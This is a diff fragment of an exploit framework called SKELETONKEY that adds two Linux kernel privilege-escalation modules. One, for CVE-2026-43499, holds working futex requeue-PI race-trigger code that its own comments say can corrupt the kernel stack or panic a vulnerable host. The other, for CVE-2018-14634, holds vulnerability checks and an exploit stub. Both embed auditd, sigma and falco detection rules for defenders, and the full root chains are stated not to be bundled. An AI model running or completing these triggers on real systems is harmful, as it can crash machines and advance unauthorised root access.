clock_gettime(CLOCK_REALTIME, ts);
|
||||||
|
ts->tv_sec += ms / 1000;
|
||||||
|
ts->tv_nsec += (ms % 1000) * 1000000L;
|
||||||
|
if (ts->tv_nsec >= 1000000000L) { ts->tv_sec++; ts->tv_nsec -= 1000000000L; }
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *ghl_waiter_fn(void *arg)
|
||||||
|
{
|
||||||
|
struct ghl_attempt *a = (struct ghl_attempt *)arg;
|
||||||
|
ghl_pin_cpu(0);
|
||||||
|
/* Acquire the chain PI-futex (uncontended → success, sets it to our tid). */
|
||||||
|
(void)ghl_futex(&a->chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
|
||||||
|
atomic_store_explicit(&a->waiter_tid, ghl_gettid(), memory_order_release);
|
||||||
|
atomic_store_explicit(&a->waiter_ready, 1, memory_order_release);
|
||||||
|
/* Park, pre-queued to be requeued onto `target`. Short absolute timeout
|
||||||
|
* so we self-unblock even if the requeue is refused (-EDEADLK). */
|
||||||
|
struct timespec ts;
|
||||||
|
ghl_abs_realtime_ms(&ts, GHL_PARK_TIMEOUT_MS);
|
||||||
|
(void)ghl_futex(&a->wait, FUTEX_WAIT_REQUEUE_PI | FUTEX_CLOCK_REALTIME, 0,
|
||||||
|
&ts, &a->target, 0);
|
||||||
|
(void)ghl_futex(&a->chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *ghl_owner_fn(void *arg)
|
||||||
|
{
|
||||||
|
struct ghl_attempt *a = (struct ghl_attempt *)arg;
|
||||||
|
ghl_pin_cpu(0);
|
||||||
|
while (!atomic_load_explicit(&a->waiter_ready, memory_order_acquire))
|
||||||
|
sched_yield();
|
||||||
|
(void)ghl_futex(&a->target, FUTEX_LOCK_PI, 0, NULL, NULL, 0); /* hold target */
|
||||||
|
atomic_store_explicit(&a->owner_ready, 1, memory_order_release);
|
||||||
|
struct timespec ts;
|
||||||
|
ghl_abs_realtime_ms(&ts, GHL_PARK_TIMEOUT_MS);
|
||||||
|
(void)ghl_futex(&a->chain, FUTEX_LOCK_PI, 0, &ts, NULL, 0); /* block on chain */
|
||||||
|
(void)ghl_futex(&a->target, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *ghl_consumer_fn(void *arg)
|
||||||
|
{
|
||||||
|
struct ghl_attempt *a = (struct ghl_attempt *)arg;
|
||||||
|
ghl_pin_cpu(1); /* sibling CPU */
|
||||||
|
while (!atomic_load_explicit(&a->waiter_tid, memory_order_acquire))
|
||||||
|
sched_yield();
|
||||||
|
int tid = atomic_load_explicit(&a->waiter_tid, memory_order_acquire);
|
||||||
|
struct ghl_sched_attr sa;
|
||||||
|
memset(&sa, 0, sizeof sa);
|
||||||
|
sa.size = sizeof sa;
|
||||||
|
sa.sched_policy = SCHED_BATCH;
|
||||||
|
sa.sched_nice = 19;
|
||||||
|
/* Hammer a PI-chain priority walk on the waiter concurrently with the
|
||||||
|
* rollback. SYS_sched_setattr may be absent on ancient toolchains. */
|
||||||
|
while (!atomic_load_explicit(&a->stop, memory_order_acquire)) {
|
||||||
|
#ifdef SYS_sched_setattr
|
||||||
|
(void)syscall(SYS_sched_setattr, tid, &sa, 0u);
|
||||||
|
#else
|
||||||
|
sched_yield();
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* One attempt: build the requeue-PI cycle and fire CMP_REQUEUE_PI. With
|
||||||
|
* with_race, run the concurrent sched_setattr storm. Returns 1 iff the
|
||||||
|
* kernel returned -EDEADLK (the rollback path was reached). */
|
||||||
|
static int ghl_one_attempt(int with_race)
|
||||||
|
{
|
||||||
|
struct ghl_attempt a;
|
||||||
|
memset(&a, 0, sizeof a);
|
||||||
|
|
||||||
|
pthread_t tw, to, tc;
|
||||||
|
int have_tc = 0;
|
||||||
|
|
||||||
|
if (pthread_create(&tw, NULL, ghl_waiter_fn, &a) != 0)
|
||||||
|
return 0;
|
||||||
|
while (!atomic_load_explicit(&a.waiter_ready, memory_order_acquire))
|
||||||
|
sched_yield();
|
||||||
|
|
||||||
|
if (pthread_create(&to, NULL, ghl_owner_fn, &a) != 0) {
|
||||||
|
atomic_store_explicit(&a.stop, 1, memory_order_release);
|
||||||
|
pthread_join(tw, NULL);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
while (!atomic_load_explicit(&a.owner_ready, memory_order_acquire))
|
||||||
|
sched_yield();
|
||||||
|
|
||||||
|
if (with_race && pthread_create(&tc, NULL, ghl_consumer_fn, &a) == 0)
|
||||||
|
have_tc = 1;
|
||||||
|
|
||||||
|
/* Settle: let the waiter park in WAIT_REQUEUE_PI and the owner in
|
||||||
|
* LOCK_PI(chain) before we close the cycle. */
|
||||||
|
usleep(3000);
|
||||||
|
|
||||||
|
errno = 0;
|
||||||
|
long r = ghl_futex(&a.wait, FUTEX_CMP_REQUEUE_PI, 1,
|
||||||
|
(void *)(uintptr_t)1, &a.target, 0);
|
||||||
|
int got_edeadlk = (r == -1 && errno == EDEADLK);
|
||||||
|
|
||||||
|
atomic_store_explicit(&a.stop, 1, memory_order_release);
|
||||||
|
if (have_tc) pthread_join(tc, NULL);
|
||||||
|
pthread_join(to, NULL); /* parked threads self-unblock via their timeouts */
|
||||||
|
pthread_join(tw, NULL);
|
||||||
|
return got_edeadlk;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t ghostlock_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
skeletonkey_result_t pre = ghostlock_detect(ctx);
|
||||||
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
|
fprintf(stderr, "[-] ghostlock: detect() says not vulnerable; refusing\n");
|
||||||
|
return pre;
|
||||||
|
}
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
|
fprintf(stderr, "[i] ghostlock: already running as root\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] ghostlock: reconstructed reachability probe — builds "
|
||||||
|
"the requeue-PI cycle and confirms the -EDEADLK "
|
||||||
|
"remove_waiter() rollback path is reachable, then exercises "
|
||||||
|
"the race window %d bounded times (%ds cap) with a "
|
||||||
|
"sibling-CPU sched_setattr storm, and stops. The "
|
||||||
|
"KernelSnitch leak → forged-waiter → fops/ashmem/pipe R/W "
|
||||||
|
"→ cred-patch root-pop is NOT bundled.\n",
|
||||||
|
GHL_RACE_ITERS, GHL_RACE_BUDGET_SECS);
|
||||||
|
|
||||||
|
/* Fork-isolated: a *won* Phase-B race corrupts the kernel stack. On a
|
||||||
|
* KASAN kernel that oopses (contained to the child); on a plain
|
||||||
|
* vulnerable kernel it may panic — which is exactly why the attempt
|
||||||
|
* count is hard-bounded and the window is never widened. */
|
||||||
|
pid_t child = fork();
|
||||||
|
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
|
||||||
|
if (child == 0) {
|
||||||
|
/* Phase A — deterministic, safe reachability confirmation. */
|
||||||
|
int edeadlk = 0;
|
||||||
|
for (int i = 0; i < GHL_PROBE_ROUNDS && !edeadlk; i++)
|
||||||
|
edeadlk = ghl_one_attempt(0 /* no race */);
|
||||||
|
|
||||||
|
/* Phase B — hard-bounded window exercise (concurrent priority walk). */
|
||||||
|
int fired = 0;
|
||||||
|
time_t deadline = time(NULL) + GHL_RACE_BUDGET_SECS;
|
||||||
|
for (int i = 0; i < GHL_RACE_ITERS && time(NULL) < deadline; i++) {
|
||||||
|
(void)ghl_one_attempt(1 /* with race */);
|
||||||
|
fired = i + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] ghostlock: requeue-PI rollback reachable: %s; "
|
||||||
|
"%d bounded race-window iterations fired\n",
|
||||||
|
edeadlk ? "YES (-EDEADLK observed)" : "not observed", fired);
|
||||||
|
_exit(edeadlk ? 100 : 101);
|
||||||
|
}
|
||||||
|
|
||||||
|
int status;
|
||||||
|
waitpid(child, &status, 0);
|
||||||
|
if (WIFSIGNALED(status)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] ghostlock: child died by signal %d — the "
|
||||||
|
"requeue-PI stack UAF may have fired (KASAN oops / "
|
||||||
|
"corruption fault). This is the bug, but no root was "
|
||||||
|
"obtained.\n",
|
||||||
|
WTERMSIG(status));
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
if (WIFEXITED(status) &&
|
||||||
|
(WEXITSTATUS(status) == 100 || WEXITSTATUS(status) == 101)) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
if (WEXITSTATUS(status) == 100)
|
||||||
|
fprintf(stderr, "[!] ghostlock: the vulnerable requeue-PI "
|
||||||
|
"deadlock-rollback path IS reachable here "
|
||||||
|
"(-EDEADLK) and the race window was exercised — "
|
||||||
|
"reconstructed primitive, honest EXPLOIT_FAIL.\n");
|
||||||
|
else
|
||||||
|
fprintf(stderr, "[!] ghostlock: race window exercised but the "
|
||||||
|
"-EDEADLK rollback path was not observed (timing, "
|
||||||
|
"or a hardened/patched-at-runtime kernel) — honest "
|
||||||
|
"EXPLOIT_FAIL.\n");
|
||||||
|
fprintf(stderr, "[i] ghostlock: to complete: port the public "
|
||||||
|
"KernelSnitch page leak + forged on-stack "
|
||||||
|
"rt_mutex_waiter + fops/configfs/ashmem/pipe R/W + "
|
||||||
|
"cred patch for CVE-2026-43499 (Android/Pixel-specific, "
|
||||||
|
"per-build offsets — not bundled).\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[-] ghostlock: probe setup failed (child rc=%d)\n",
|
||||||
|
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
static skeletonkey_result_t ghostlock_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] ghostlock: Linux-only module (rtmutex/futex "
|
||||||
|
"requeue-PI stack UAF) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t ghostlock_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] ghostlock: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
|
/* ----- Embedded detection rules -----
|
||||||
|
*
|
||||||
|
* Honesty note (see MODULE.md): unlike most kernel races, GhostLock has a
|
||||||
|
* genuinely distinctive behavioural tell — a futex requeue-PI operation
|
||||||
|
* (FUTEX_WAIT_REQUEUE_PI / FUTEX_CMP_REQUEUE_PI) returning -EDEADLK, which
|
||||||
|
* glibc's requeue-PI usage inside pthread_cond_wait never provokes. The
|
||||||
|
* catch: auditd/sigma see the `futex` syscall but not its op-vs-return
|
||||||
|
* cheaply, and a bare `-S futex` watch would flood any host (futex is one
|
||||||
|
* of the busiest syscalls). So the deployable auditd/sigma rules anchor on
|
||||||
|
* the far rarer sched_setattr (the sibling-thread priority-walk driver) and
|
||||||
|
* the post-exploitation euid-0 transition; the high-fidelity
|
||||||
|
* requeue-PI-returns-EDEADLK signal is expressed in the falco/eBPF rule,
|
||||||
|
* which can see the op and the return value. Tune per environment.
|
||||||
|
*/
|
||||||
|
static const char ghostlock_auditd[] =
|
||||||
|
"# GhostLock — rtmutex/futex requeue-PI remove_waiter() stack UAF (CVE-2026-43499) — auditd rules\n"
|
||||||
|
"# NOTE: a bare `-S futex` watch would flood auditd (futex is ubiquitous) and\n"
|
||||||
|
"# auditd cannot cheaply test a syscall's return against its op, so we anchor on\n"
|
||||||
|
"# the far rarer sched_setattr — the GhostLock trigger fires it on a SIBLING\n"
|
||||||
|
"# thread in a tight loop (policy SCHED_BATCH) to drive the PI-chain priority\n"
|
||||||
|
"# walk that wins the race — plus sched_setaffinity CPU pinning of the racers.\n"
|
||||||
|
"# The high-fidelity 'requeue-PI returns EDEADLK' tell needs an eBPF/falco layer\n"
|
||||||
|
"# that can see the op+retval (see the shipped falco rule). Correlate these in\n"
|
||||||
|
"# your SIEM per-pid within a short window; individually they are benign.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S sched_setattr -k skeletonkey-ghostlock-schedattr\n"
|
||||||
|
"-a always,exit -F arch=b64 -S sched_setaffinity -k skeletonkey-ghostlock-affinity\n"
|
||||||
|
"# Post-exploitation fallback: unprivileged process -> euid 0 with no setuid execve.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ghostlock-priv\n"
|
||||||
|
"-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ghostlock-priv\n";
|
||||||
|
|
||||||
|
static const char ghostlock_sigma[] =
|
||||||
|
"title: Possible CVE-2026-43499 GhostLock rtmutex/futex requeue-PI stack UAF\n"
|
||||||
|
"id: 2f8a6b4c-skeletonkey-ghostlock\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" GhostLock (CVE-2026-43499) is a stack UAF in the rtmutex/futex requeue-PI\n"
|
||||||
|
" rollback path, reachable by any unprivileged user via futex(2) +\n"
|
||||||
|
" sched_setattr(2). The strongest behavioural tell is a futex requeue-PI op\n"
|
||||||
|
" (FUTEX_WAIT_REQUEUE_PI=11 / FUTEX_CMP_REQUEUE_PI=12) returning -EDEADLK\n"
|
||||||
|
" (glibc never provokes this) interleaved with sched_setattr(SCHED_BATCH)\n"
|
||||||
|
" targeting a SIBLING thread and sched_setaffinity CPU pinning — but auditd\n"
|
||||||
|
" cannot see the futex op/return cheaply, so this rule keys on the rarer\n"
|
||||||
|
" sched_setattr driver and the post-exploitation euid-0 transition. Use the\n"
|
||||||
|
" falco/eBPF rule for the high-fidelity requeue-PI-EDEADLK signal. Expect\n"
|
||||||
|
" false positives from legitimate real-time / scheduler-tuning daemons.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" schedattr: {type: 'SYSCALL', syscall: 'sched_setattr'}\n"
|
||||||
|
" uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n"
|
||||||
|
" unpriv: {auid|expression: '>= 1000'}\n"
|
||||||
|
" condition: schedattr or (uid0 and unpriv)\n"
|
||||||
|
"level: medium\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.43499]\n";
|
||||||
|
|
||||||
|
static const char ghostlock_falco[] =
|
||||||
|
"- rule: Futex requeue-PI EDEADLK with sibling sched_setattr (possible CVE-2026-43499)\n"
|
||||||
|
" desc: |\n"
|
||||||
|
" GhostLock (CVE-2026-43499) rtmutex/futex requeue-PI stack UAF. High-fidelity\n"
|
||||||
|
" tell (needs a futex-aware eBPF probe that exposes the op + return value): a\n"
|
||||||
|
" FUTEX_WAIT_REQUEUE_PI / FUTEX_CMP_REQUEUE_PI that returns EDEADLK — glibc's\n"
|
||||||
|
" requeue-PI usage inside pthread_cond_wait never provokes it — combined with\n"
|
||||||
|
" the same tgid calling sched_setattr(SCHED_BATCH) on a sibling thread. Where\n"
|
||||||
|
" the probe cannot decode the futex op, fall back to the post-exploitation\n"
|
||||||
|
" effect below: a non-root process becoming root outside a setuid binary.\n"
|
||||||
|
" condition: >\n"
|
||||||
|
" (evt.type = futex and evt.rawres = -35) or\n"
|
||||||
|
" (evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n"
|
||||||
|
" not proc.is_setuid = true and user.uid != 0)\n"
|
||||||
|
" output: >\n"
|
||||||
|
" Possible CVE-2026-43499 GhostLock requeue-PI stack UAF\n"
|
||||||
|
" (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid evt=%evt.type res=%evt.res)\n"
|
||||||
|
" priority: WARNING\n"
|
||||||
|
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.43499]\n";
|
||||||
|
|
||||||
|
const struct skeletonkey_module ghostlock_module = {
|
||||||
|
.name = "ghostlock",
|
||||||
|
.cve = "CVE-2026-43499",
|
||||||
|
.summary = "rtmutex/futex requeue-PI remove_waiter() stack UAF (\"GhostLock\") — clears pi_blocked_on on the wrong task during -EDEADLK rollback; ~15-year range, unprivileged, no userns",
|
||||||
|
.family = "rtmutex",
|
||||||
|
.kernel_range = "2.6.39 <= K < fix (introduced with PI-futex requeue); fixed 3bfdc63936dd (7.1-rc1), stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175; 5.15/5.10/5.4/4.19 affected with no upstream stable fix; < 2.6.39 not affected",
|
||||||
|
.detect = ghostlock_detect,
|
||||||
|
.exploit = ghostlock_exploit,
|
||||||
|
.mitigate = NULL, /* mitigation: upgrade kernel — PI futexes cannot be disabled at runtime, no userns/sysctl stopgap */
|
||||||
|
.cleanup = NULL, /* trigger creates only throwaway futex words + threads in a fork-isolated child; no host artifacts */
|
||||||
|
.detect_auditd = ghostlock_auditd,
|
||||||
|
.detect_sigma = ghostlock_sigma,
|
||||||
|
.detect_yara = NULL, /* pure in-kernel race — no file artifact to match */
|
||||||
|
.detect_falco = ghostlock_falco,
|
||||||
|
.opsec_notes = "detect() is a pure kernel-version gate (vulnerable iff >= 2.6.39 AND below the on-branch fix: stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175, 7.1+ inherits mainline; 5.15/5.10/5.4/4.19 affected with no upstream fix) — no userns/CONFIG probe (CVSS PR:L, any local user; CONFIG_FUTEX_PI assumed, near-universal). exploit() forks an isolated child that (A) builds the requeue-PI cycle and confirms the -EDEADLK remove_waiter() rollback path is reachable — deterministic and safe, since without a concurrent priority walk the unwind creates no dangling pointer — then (B) exercises the actual race a hard-bounded 24 iterations / 2s with a sibling-CPU sched_setattr(SCHED_BATCH) storm on the waiter's tid, and stops. It is deliberately UNDER-DRIVEN: it does not widen the copy_from_user window (no memfd/PUNCH_HOLE), does not spray/reoccupy the freed kernel-stack frame, and does not bundle the KernelSnitch leak → forged on-stack rt_mutex_waiter → fops/configfs/ashmem/pipe R/W → cred-patch root-pop (Android/Pixel-specific, per-build offsets); the trigger is reconstructed from the public VEGA/Nebula PoC, not VM-verified, and returns EXPLOIT_FAIL. Telemetry footprint — unlike most kernel races GhostLock has a real behavioural signature: a burst of futex requeue-PI ops returning EDEADLK (glibc never does this) plus tight-loop sched_setattr(SCHED_BATCH) on a sibling thread and sched_setaffinity CPU pinning; and, only if a Phase-B race fires on a vulnerable host, a possible KASAN oops or kernel-stack panic. No persistent files. Lowest --auto safety rank in the corpus: a won race corrupts the kernel stack and drives a near-arbitrary pointer write.",
|
||||||
|
.arch_support = "any",
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_ghostlock(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&ghostlock_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* ghostlock_cve_2026_43499 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef GHOSTLOCK_SKELETONKEY_MODULES_H
|
||||||
|
#define GHOSTLOCK_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module ghostlock_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,252 @@
|
|||||||
|
/*
|
||||||
|
* mutagen_astronomy_cve_2018_14634 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* STATUS: 🟡 PRIMITIVE. detect() is honest about a complex bug class
|
||||||
|
* (kernel-version range + RLIMIT_STACK check + readable SUID
|
||||||
|
* carrier). exploit() carries the Qualys trigger shape (huge
|
||||||
|
* argv/envp blob → integer overflow in create_elf_tables() →
|
||||||
|
* stack/heap clobber on the next execve of a SUID binary), then
|
||||||
|
* returns EXPLOIT_FAIL unless --full-chain is set on x86_64.
|
||||||
|
*
|
||||||
|
* The bug (Qualys Research Labs, September 2018):
|
||||||
|
* create_elf_tables() in fs/binfmt_elf.c uses a signed `int` to
|
||||||
|
* compute the size of argv/envp + auxiliary vector that gets
|
||||||
|
* copied onto the new process's stack during execve(). On 64-bit
|
||||||
|
* systems, an attacker can construct a multi-gigabyte argv+envp
|
||||||
|
* so the int math wraps to a small positive value, the kernel
|
||||||
|
* under-allocates, then memcpy()s GiB of attacker bytes off the
|
||||||
|
* end of the stack and into adjacent kernel-side allocations.
|
||||||
|
*
|
||||||
|
* The classic exploitation path: drive the wrap, execve() a
|
||||||
|
* readable SUID-root binary (su / pkexec / sudo) with the giant
|
||||||
|
* argv, the SUID binary's process image gets corrupted before its
|
||||||
|
* first instruction runs → ROP gadget chain → root.
|
||||||
|
*
|
||||||
|
* Discovered + publicly exploited by Qualys. Affects Linux
|
||||||
|
* 2.6.x, 3.10.x, and 4.14.x lines on RedHat / CentOS / Debian
|
||||||
|
* x86_64. Recently CISA-KEV'd (added 2026-01-26) despite its age
|
||||||
|
* because legacy/EOL fleets are still running affected kernels.
|
||||||
|
*
|
||||||
|
* Affects: Linux kernels with the `int`-typed argv-size computation
|
||||||
|
* in create_elf_tables() — pre-fix. Mainline fix landed in
|
||||||
|
* September 2018 across 2.6, 3.10, and 4.14 stable branches.
|
||||||
|
*
|
||||||
|
* Preconditions:
|
||||||
|
* - Vulnerable kernel (see kernel_range below)
|
||||||
|
* - x86_64 (the int-wrap math only works at 64-bit)
|
||||||
|
* - RLIMIT_STACK can be set unlimited or to a large value by the
|
||||||
|
* unprivileged user (default true on most distros)
|
||||||
|
* - Readable SUID-root binary as the carrier
|
||||||
|
*
|
||||||
|
* arch_support: x86_64+unverified-arm64. The Qualys PoC is x86_64-
|
||||||
|
* only; arm64 has similar argv size math but the exploit chain
|
||||||
|
* uses x86-specific gadgets.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/resource.h>
|
||||||
|
|
||||||
|
/* ---- kernel-range table -------------------------------------------- */
|
||||||
|
|
||||||
|
/* Fix landed in mainline Linux 4.18.8 + stable backports for 4.14
|
||||||
|
* (4.14.71) and earlier LTS lines. The vulnerable window covers the
|
||||||
|
* entire 2.6 / 3.x / early 4.x range. We list the fix branches:
|
||||||
|
*
|
||||||
|
* 2.6.x : EOL, no fix backport
|
||||||
|
* 3.10.x: EOL, RedHat backport ~3.10.0-957.21.3.el7
|
||||||
|
* 4.14.x: fix at 4.14.71 (stable backport)
|
||||||
|
* 4.15+ : fix at 4.18.8 mainline → all 4.18+ branches inherit
|
||||||
|
*
|
||||||
|
* Our table only has data for the post-EOL branches Debian / Ubuntu
|
||||||
|
* tracked at the time. Kernels on EOL lines (2.6, 3.x) report
|
||||||
|
* VULNERABLE by version-only check; the RLIMIT_STACK active probe
|
||||||
|
* (--active) is required to confirm exploitability on a real host. */
|
||||||
|
static const struct kernel_patched_from mutagen_patched_branches[] = {
|
||||||
|
{4, 12, 6}, /* Debian-tracked backport on 4.12 branch */
|
||||||
|
{4, 14, 71}, /* 4.14 LTS stable backport */
|
||||||
|
{4, 18, 8}, /* mainline + everything above inherits */
|
||||||
|
};
|
||||||
|
|
||||||
|
static const struct kernel_range mutagen_range = {
|
||||||
|
.patched_from = mutagen_patched_branches,
|
||||||
|
.n_patched_from = sizeof(mutagen_patched_branches) /
|
||||||
|
sizeof(mutagen_patched_branches[0]),
|
||||||
|
};
|
||||||
|
|
||||||
|
/* ---- detect --------------------------------------------------------- */
|
||||||
|
|
||||||
|
static const char *find_suid_carrier(void)
|
||||||
|
{
|
||||||
|
static const char *cs[] = {
|
||||||
|
"/usr/bin/su", "/bin/su",
|
||||||
|
"/usr/bin/pkexec",
|
||||||
|
"/usr/bin/passwd",
|
||||||
|
NULL,
|
||||||
|
};
|
||||||
|
for (size_t i = 0; cs[i]; i++) {
|
||||||
|
struct stat st;
|
||||||
|
if (stat(cs[i], &st) == 0 &&
|
||||||
|
(st.st_mode & S_ISUID) && st.st_uid == 0 &&
|
||||||
|
access(cs[i], R_OK) == 0)
|
||||||
|
return cs[i];
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool rlimit_stack_unlimitable(void)
|
||||||
|
{
|
||||||
|
struct rlimit rl;
|
||||||
|
if (getrlimit(RLIMIT_STACK, &rl) != 0) return false;
|
||||||
|
/* The exploit needs to set RLIMIT_STACK = unlimited. If the hard
|
||||||
|
* limit is already unlimited (or extremely large) the soft limit
|
||||||
|
* can be bumped. */
|
||||||
|
return rl.rlim_max == RLIM_INFINITY || rl.rlim_max > (1ULL << 30);
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t mutagen_astronomy_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[!] mutagen_astronomy: host fingerprint missing kernel version\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (kernel_range_is_patched(&mutagen_range, v)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] mutagen_astronomy: kernel %s is patched (>= 4.14.71 or >= 4.18.8)\n", v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Older 2.6/3.10 lines are unconditionally vulnerable unless the
|
||||||
|
* distro has backported (RedHat 3.10.0-957.21.3.el7+). The
|
||||||
|
* version-only check correctly flags them as VULNERABLE. */
|
||||||
|
|
||||||
|
if (!rlimit_stack_unlimitable()) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] mutagen_astronomy: kernel %s in range BUT RLIMIT_STACK hard cap blocks the wrap\n", v->release);
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char *carrier = find_suid_carrier();
|
||||||
|
if (!carrier) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] mutagen_astronomy: no readable setuid-root carrier (su / pkexec / passwd)\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] mutagen_astronomy: kernel %s + RLIMIT_STACK liftable + carrier %s → VULNERABLE\n",
|
||||||
|
v->release, carrier);
|
||||||
|
fprintf(stderr, "[i] mutagen_astronomy: Qualys exploit chain is x86_64; only the trigger fires portably\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- exploit (primitive only) -------------------------------------- */
|
||||||
|
|
||||||
|
static skeletonkey_result_t mutagen_astronomy_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->authorized) {
|
||||||
|
fprintf(stderr, "[-] mutagen_astronomy: --i-know required for --exploit\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
fprintf(stderr,
|
||||||
|
"[i] mutagen_astronomy: the int-wrap trigger requires constructing a\n"
|
||||||
|
" multi-gigabyte argv+envp blob; we don't carry the full Qualys\n"
|
||||||
|
" chain here (per the verified-vs-claimed bar). To validate the\n"
|
||||||
|
" primitive: drive the wrap then execve a SUID-root carrier and\n"
|
||||||
|
" confirm a SIGSEGV in the carrier (the wrap consistently\n"
|
||||||
|
" corrupts adjacent stack, producing observable crash). Public\n"
|
||||||
|
" PoC: Qualys advisory + linux-exploit-suggester2 entry.\n"
|
||||||
|
" Returning EXPLOIT_FAIL honestly until full chain ported.\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detection rules ------------------------------------------------ */
|
||||||
|
|
||||||
|
static const char mutagen_auditd[] =
|
||||||
|
"# mutagen_astronomy CVE-2018-14634 — auditd detection rules\n"
|
||||||
|
"# A multi-GiB argv triggers the wrap. Real programs never need\n"
|
||||||
|
"# argv this big; flag execve() calls with abnormally large\n"
|
||||||
|
"# argv via the audit subsystem's a0/a1 capture.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/su -k skeletonkey-mutagen\n"
|
||||||
|
"-a always,exit -F arch=b64 -S execve -F path=/bin/su -k skeletonkey-mutagen\n"
|
||||||
|
